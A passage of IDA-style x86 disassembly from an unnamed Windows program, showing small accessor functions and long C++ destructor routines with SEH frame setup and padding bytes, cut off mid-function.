		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_5
		pop	ecx
		retn	4
sub_416790	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167B0	proc near		; CODE XREF: sub_401357j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4167B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167D0	proc near		; CODE XREF: sub_401F8Cj
		mov	eax, [ecx]
		retn
sub_4167D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4167F0	proc near		; CODE XREF: sub_4017DFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		add	eax, 4
		retn
sub_4167F0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416810	proc near		; CODE XREF: sub_401EBAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_401D2A
sub_416810	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_416840	proc near		; CODE XREF: sub_401866j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_437AD2
sub_416840	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416860	proc near		; CODE XREF: sub_401E15j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4020EA
		add	esp, 8
		retn	8
sub_416860	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416890	proc near		; CODE XREF: sub_401401j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_3
		pop	ecx
		retn	4
sub_416890	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168B0	proc near		; CODE XREF: sub_401618j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	[eax], ecx
		retn	4
sub_4168B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168D0	proc near		; CODE XREF: sub_4012CBj
		mov	eax, [ecx]
		retn
sub_4168D0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4168F0	proc near		; CODE XREF: sub_401E74j

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	eax, [ecx]
		push	esi
		xor	ecx, ecx
		mov	esi, [edx]
		cmp	eax, esi
		pop	esi
		setz	cl
		mov	al, cl
		retn	4
sub_4168F0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416920	proc near		; CODE XREF: sub_40125Dj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41693B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41693B:				; CODE XREF: sub_416920+11j
		retn
sub_416920	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_6. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416970	proc near		; CODE XREF: sub_40205Ej

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_41698B
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_41698B:				; CODE XREF: sub_416970+11j
		retn
sub_416970	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4169C0	proc near		; CODE XREF: sub_4020EAj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_4169DB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_4169DB:				; CODE XREF: sub_4169C0+11j
		retn
sub_4169C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND]
aRrrrrrrrrrrrrr	db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜθ',1Bh,0
		align 4
		dd 36E900h, 90900000h, 90909090h, 4 dup(0CCCCCCCCh), 449118B9h
		dd 0B426E900h, 9090FFFEh, 90909090h, 4 dup(0CCCCCCCCh)
		dd 416A7068h, 115CE800h, 0C3590002h, 90909090h,	4 dup(0CCCCCCCCh)
		dd 449118B9h, 0B1DEE900h, 9090FFFEh, 90909090h,	4 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_416A90:				; CODE XREF: ___:00401C58j
		push	0FFFFFFFFh
		push	offset loc_43B2E1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+9FD83h]
		mov	dword ptr [esp+10h], 1Ah
		call	sub_4021FD
; ---------------------------------------------------------------------------
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+10h], 19h
		call	sub_401226
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+10h], 18h
		call	sub_401226
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+10h], 17h
		call	sub_401226
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+10h], 16h
		call	sub_401226
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+10h], 15h
		call	sub_401F00
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+10h], 14h
		call	sub_401776
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+10h], 13h
		call	sub_402013
		lea	ecx, [esi+9FBCDh]
		mov	byte ptr [esp+10h], 12h
		call	sub_401E06
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+10h], 11h
		call	sub_401889
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+10h], 10h
		call	sub_401113
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+10h], 0Fh
		call	sub_401F46
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+10h], 0Eh
		call	sub_401B3B
		lea	ecx, [esi+9FA13h]
		mov	byte ptr [esp+10h], 0Dh
		call	sub_4017DA
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+10h], 0Ch
		call	sub_4018D9
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+10h], 0Bh
		call	sub_401ECE
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+10h], 0Ah
		call	sub_402239
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+10h], 9
		call	sub_4017AD
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+10h], 8
		call	sub_401A32
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+10h], 7
		call	sub_4013C5
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+10h], 6
		call	sub_401235
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+10h], 5
		call	sub_401EA1
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+10h], 4
		call	sub_4014FB
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+10h], 3
		call	sub_401AFA
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+10h], 2
		call	sub_401CA3
; ---------------------------------------------------------------------------
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+10h], 1
		call	sub_401938
		lea	ecx, [esi+3Eh]
		mov	byte ptr [esp+10h], 0
		call	sub_401447
		mov	ecx, esi
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401262
; ---------------------------------------------------------------------------
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D00	proc near		; CODE XREF: sub_401A32j
		push	esi
		mov	esi, ecx
		mov	eax, [esi+15h]
		mov	dword ptr [esi], offset	off_43F050
		test	eax, eax
		jle	short loc_416D17
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416D17:				; CODE XREF: sub_416D00+Ej
		mov	ecx, esi
		call	sub_40204F
		pop	esi
		retn
sub_416D00	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D30	proc near		; CODE XREF: ___:0040126Cj sub_4019CEj

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401A32
		test	[esp+4+arg_0], 1
		jz	short loc_416D48
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416D48:				; CODE XREF: sub_416D30+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_416D30	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416D60	proc near		; CODE XREF: sub_4017ADj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+11h]
		mov	dword ptr [esi], offset	off_43F05C
		test	eax, eax
		jle	short loc_416D77
		push	eax
		nop
		call	near ptr 71AB9639h


loc_416D77:				; CODE XREF: sub_416D60+Ej
		mov	ecx, esi
		call	sub_40204F
		pop	esi
		retn
sub_416D60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416D90:				; CODE XREF: ___:00401631j
					; ___:loc_401CADj
		push	esi
		mov	esi, ecx
		call	sub_4017AD
		test	byte ptr [esp+8], 1
		jz	short loc_416DA8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416DA8:				; CODE XREF: ___:00416D9Dj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416DC0	proc near		; CODE XREF: sub_401776j
		mov	dword ptr [ecx], offset	off_43F068
		jmp	sub_40204F
sub_416DC0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416DE0:				; CODE XREF: ___:loc_401929j
					; ___:004021ADj
		push	esi
		mov	esi, ecx
		call	sub_401776
		test	byte ptr [esp+8], 1
		jz	short loc_416DF8
		push	esi
		call	sub_437AD2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_416DF8:				; CODE XREF: ___:00416DEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_416E10	proc near		; CODE XREF: sub_401889j
		mov	dword ptr [ecx], offset	off_43F074
		add	ecx, 4
		jmp	sub_401023
sub_416E10	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_416E30:				; CODE XREF: ___:00401E60j
		push	0FFFFFFFFh
		push	offset loc_43B4C1
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+8], esi
		call	sub_4020BD
; ---------------------------------------------------------------------------
		lea	ecx, [esi+3Eh]
		mov	dword ptr [esp+14h], 0
		call	sub_4015E6
		lea	ecx, [esi+15Fh]
		mov	byte ptr [esp+14h], 1
		call	sub_40129E
		lea	ecx, [esi+1B46h]
		mov	byte ptr [esp+14h], 2
		call	sub_402018
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1BBEh]
		mov	byte ptr [esp+14h], 3
		call	sub_401A00
; ---------------------------------------------------------------------------
		lea	ecx, [esi+1C58h]
		mov	byte ptr [esp+14h], 4
		call	sub_401587
		lea	ecx, [esi+1D29h]
		mov	byte ptr [esp+14h], 5
		call	sub_40164F
		lea	ecx, [esi+1E6Fh]
		mov	byte ptr [esp+14h], 6
		call	sub_401780
		lea	ecx, [esi+8EF5Dh]
		mov	byte ptr [esp+14h], 7
		call	sub_40169F
		lea	ecx, [esi+8F247h]
		mov	byte ptr [esp+14h], 8
		call	sub_40182F
		lea	ecx, [esi+8F270h]
		mov	byte ptr [esp+14h], 9
		call	sub_4016BD
		lea	ecx, [esi+8F285h]
		mov	byte ptr [esp+14h], 0Ah
		call	sub_40141F
		lea	ecx, [esi+8F3A2h]
		mov	byte ptr [esp+14h], 0Bh
		call	sub_401302
		lea	ecx, [esi+8F4BFh]
		mov	byte ptr [esp+14h], 0Ch
		call	sub_401271
		lea	ecx, [esi+8F51Fh]
		mov	byte ptr [esp+14h], 0Dh
		call	sub_401D25
		lea	ecx, [esi+9FA13h]
		call	sub_4012FD
		lea	ecx, [esi+9FA73h]
		mov	byte ptr [esp+14h], 0Eh
		call	sub_401A91
		lea	ecx, [esi+9FAD3h]
		mov	byte ptr [esp+14h], 0Fh
		call	sub_401285
		lea	ecx, [esi+9FB05h]
		mov	byte ptr [esp+14h], 10h
		call	sub_401CB7
		lea	ecx, [esi+9FB93h]
		mov	byte ptr [esp+14h], 11h
		call	sub_402121
; ---------------------------------------------------------------------------
		mov	byte ptr [esp+14h], 12h
		lea	ecx, [esi+9FBCDh]
		call	sub_40157D
		lea	ecx, [esi+9FBFFh]
		mov	byte ptr [esp+14h], 13h
		call	sub_401799
		lea	ecx, [esi+9FC31h]
		mov	byte ptr [esp+14h], 14h
		call	sub_401069
		lea	ecx, [esi+9FC42h]
		mov	byte ptr [esp+14h], 15h
		call	sub_401073
		lea	ecx, [esi+9FD2Dh]
		mov	byte ptr [esp+14h], 16h
		call	sub_40142E
		lea	ecx, [esi+9FD42h]
		mov	byte ptr [esp+14h], 17h
		call	sub_40142E
		lea	ecx, [esi+9FD57h]
		mov	byte ptr [esp+14h], 18h
		call	sub_40142E
		lea	ecx, [esi+9FD6Ch]
		mov	byte ptr [esp+14h], 19h
		call	sub_40142E
		lea	eax, [esp+7]
		lea	ecx, [esi+9FD83h]
		push	eax
		mov	byte ptr [esp+18h], 1Ah
		call	sub_401B0E
; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4170B0	proc near		; CODE XREF: sub_401262j

var_10		= dword	ptr -10h
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4170B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+32h]
		mov	[esp+14h+var_4], 0
		call	sub_401B1D
sub_4170B0	endp

; ---------------------------------------------------------------------------
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417120	proc near		; CODE XREF: sub_401938j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417120
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+179Fh]
		mov	[esp+14h+var_4], 3Ch
		call	sub_40208B
		lea	ecx, [esi+1557h]
		mov	byte ptr [esp+14h+var_4], 3Bh
		call	sub_40208B
		lea	ecx, [esi+130Fh]
		mov	byte ptr [esp+14h+var_4], 3Ah
		call	sub_40208B
		lea	ecx, [esi+10C7h]
		mov	byte ptr [esp+14h+var_4], 39h
		call	sub_40208B
		lea	ecx, [esi+0E7Fh]
		mov	byte ptr [esp+14h+var_4], 38h
		call	sub_40208B
		mov	byte ptr [esp+14h+var_4], 37h
		lea	ecx, [esi+0E51h]
		call	sub_401023
		lea	ecx, [esi+0E23h]
		mov	byte ptr [esp+14h+var_4], 36h
		call	sub_401023
		lea	ecx, [esi+0DF5h]
		mov	byte ptr [esp+14h+var_4], 35h
		call	sub_401023
		lea	ecx, [esi+0DC7h]
		mov	byte ptr [esp+14h+var_4], 34h
		call	sub_401023
		lea	ecx, [esi+0D99h]
		mov	byte ptr [esp+14h+var_4], 33h
		call	sub_401023
		lea	ecx, [esi+0D6Bh]
		mov	byte ptr [esp+14h+var_4], 32h
		call	sub_401023
		lea	ecx, [esi+0D3Dh]
		mov	byte ptr [esp+14h+var_4], 31h
		call	sub_401023
		lea	ecx, [esi+0D0Fh]
		mov	byte ptr [esp+14h+var_4], 30h
		call	sub_401023
		lea	ecx, [esi+0CE1h]
		mov	byte ptr [esp+14h+var_4], 2Fh
		call	sub_401023
		lea	ecx, [esi+0CB3h]
		mov	byte ptr [esp+14h+var_4], 2Eh
		call	sub_401023
		lea	ecx, [esi+0C85h]
		mov	byte ptr [esp+14h+var_4], 2Dh
		call	sub_401023
		lea	ecx, [esi+0C57h]
		mov	byte ptr [esp+14h+var_4], 2Ch
		call	sub_401023
		lea	ecx, [esi+0C29h]
		mov	byte ptr [esp+14h+var_4], 2Bh
		call	sub_401023
		lea	ecx, [esi+0BFBh]
		mov	byte ptr [esp+14h+var_4], 2Ah
		call	sub_401023
		lea	ecx, [esi+0BCDh]
		mov	byte ptr [esp+14h+var_4], 29h
		call	sub_401023
		lea	ecx, [esi+0B9Fh]
		mov	byte ptr [esp+14h+var_4], 28h
		call	sub_401023
		lea	ecx, [esi+0B71h]
		mov	byte ptr [esp+14h+var_4], 27h
		call	sub_401023
		lea	ecx, [esi+0B28h]
		mov	byte ptr [esp+14h+var_4], 26h
		call	sub_401AE6
		lea	ecx, [esi+0ADFh]
		mov	byte ptr [esp+14h+var_4], 25h
		call	sub_401AE6
		lea	ecx, [esi+0A96h]
		mov	byte ptr [esp+14h+var_4], 24h
		call	sub_401AE6
		lea	ecx, [esi+0A4Dh]
		mov	byte ptr [esp+14h+var_4], 23h
		call	sub_401AE6
		lea	ecx, [esi+0A04h]
		mov	byte ptr [esp+14h+var_4], 22h
		call	sub_401AE6
		lea	ecx, [esi+9BBh]
		mov	byte ptr [esp+14h+var_4], 21h
		call	sub_401AE6
		lea	ecx, [esi+972h]
		mov	byte ptr [esp+14h+var_4], 20h
		call	sub_401AE6
		lea	ecx, [esi+929h]
		mov	byte ptr [esp+14h+var_4], 1Fh
		call	sub_401AE6
		lea	ecx, [esi+8E0h]
		mov	byte ptr [esp+14h+var_4], 1Eh
		call	sub_401AE6
		lea	ecx, [esi+897h]
		mov	byte ptr [esp+14h+var_4], 1Dh
		call	sub_401AE6
		mov	byte ptr [esp+14h+var_4], 1Ch
		lea	ecx, [esi+84Eh]
		call	sub_401AE6
		lea	ecx, [esi+805h]
		mov	byte ptr [esp+14h+var_4], 1Bh
		call	sub_401AE6
		lea	ecx, [esi+7BCh]
		mov	byte ptr [esp+14h+var_4], 1Ah
		call	sub_401AE6
		lea	ecx, [esi+773h]
		mov	byte ptr [esp+14h+var_4], 19h
		call	sub_401AE6
		lea	ecx, [esi+72Ah]
		mov	byte ptr [esp+14h+var_4], 18h
		call	sub_401AE6
		lea	ecx, [esi+6E1h]
		mov	byte ptr [esp+14h+var_4], 17h
		call	sub_401AE6
		lea	ecx, [esi+698h]
		mov	byte ptr [esp+14h+var_4], 16h
		call	sub_401AE6
		lea	ecx, [esi+64Fh]
		mov	byte ptr [esp+14h+var_4], 15h
		call	sub_401AE6
		lea	ecx, [esi+606h]
		mov	byte ptr [esp+14h+var_4], 14h
		call	sub_401AE6
		lea	ecx, [esi+5BDh]
		mov	byte ptr [esp+14h+var_4], 13h
		call	sub_401AE6
		lea	ecx, [esi+574h]
		mov	byte ptr [esp+14h+var_4], 12h
		call	sub_401AE6
		lea	ecx, [esi+52Bh]
		mov	byte ptr [esp+14h+var_4], 11h
		call	sub_401AE6
		lea	ecx, [esi+4E2h]
		mov	byte ptr [esp+14h+var_4], 10h
		call	sub_401AE6
		lea	ecx, [esi+499h]
		mov	byte ptr [esp+14h+var_4], 0Fh
		call	sub_401AE6
		lea	ecx, [esi+450h]
		mov	byte ptr [esp+14h+var_4], 0Eh
		call	sub_401AE6
		lea	ecx, [esi+407h]
		mov	byte ptr [esp+14h+var_4], 0Dh
		call	sub_401AE6
		lea	ecx, [esi+3BEh]
		mov	byte ptr [esp+14h+var_4], 0Ch
		call	sub_401AE6
		lea	ecx, [esi+375h]
		mov	byte ptr [esp+14h+var_4], 0Bh
		call	sub_401AE6
		lea	ecx, [esi+32Ch]
		mov	byte ptr [esp+14h+var_4], 0Ah
		call	sub_401AE6
		lea	ecx, [esi+2E3h]
		mov	byte ptr [esp+14h+var_4], 9
		call	sub_401AE6
		lea	ecx, [esi+29Ah]
		mov	byte ptr [esp+14h+var_4], 8
		call	sub_401AE6
		lea	ecx, [esi+251h]
		mov	byte ptr [esp+14h+var_4], 7
		call	sub_401AE6
		lea	ecx, [esi+208h]
		mov	byte ptr [esp+14h+var_4], 6
		call	sub_401AE6
		lea	ecx, [esi+1BFh]
		mov	byte ptr [esp+14h+var_4], 5
		call	sub_401AE6
		lea	ecx, [esi+176h]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401AE6
		lea	ecx, [esi+12Dh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401AE6
		lea	ecx, [esi+0E4h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401AE6
		mov	byte ptr [esp+14h+var_4], 1
		lea	ecx, [esi+9Bh]
		call	sub_401AE6
		lea	ecx, [esi+52h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401AE6
		lea	ecx, [esi+9]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401AE6
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417120	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 110h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417640	proc near		; CODE XREF: sub_4014FBj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417640
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0A3h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+75h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+47h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417640	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4176E0	proc near		; CODE XREF: sub_401EA1j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4176E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+118h]
		mov	[esp+14h+var_4], 5
		call	sub_401023
		lea	ecx, [esi+0EAh]
		mov	byte ptr [esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4176E0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4177B0	proc near		; CODE XREF: sub_401235j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_4177B0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+8D0C0h]
		mov	[esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8D092h]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+8D064h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+8D036h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+8D008h]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_4177B0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417870	proc near		; CODE XREF: sub_402239j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417870
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417870	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_417930	proc near		; CODE XREF: sub_401ECEj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_417930
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+14h+var_10], esi
		lea	ecx, [esi+0EAh]
		mov	[esp+14h+var_4], 4
		call	sub_401023
		lea	ecx, [esi+0BCh]
		mov	byte ptr [esp+14h+var_4], 3
		call	sub_401023
		lea	ecx, [esi+8Eh]
		mov	byte ptr [esp+14h+var_4], 2
		call	sub_401023
		lea	ecx, [esi+60h]
		mov	byte ptr [esp+14h+var_4], 1
		call	sub_401023
		lea	ecx, [esi+32h]
		mov	byte ptr [esp+14h+var_4], 0
		call	sub_401023
		lea	ecx, [esi+4]
		mov	[esp+14h+var_4], 0FFFFFFFFh
		call	sub_401023
		mov	ecx, [esp+14h+var_C]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
sub_417930	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4179F0	proc near		; CODE XREF: sub_4018D9j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
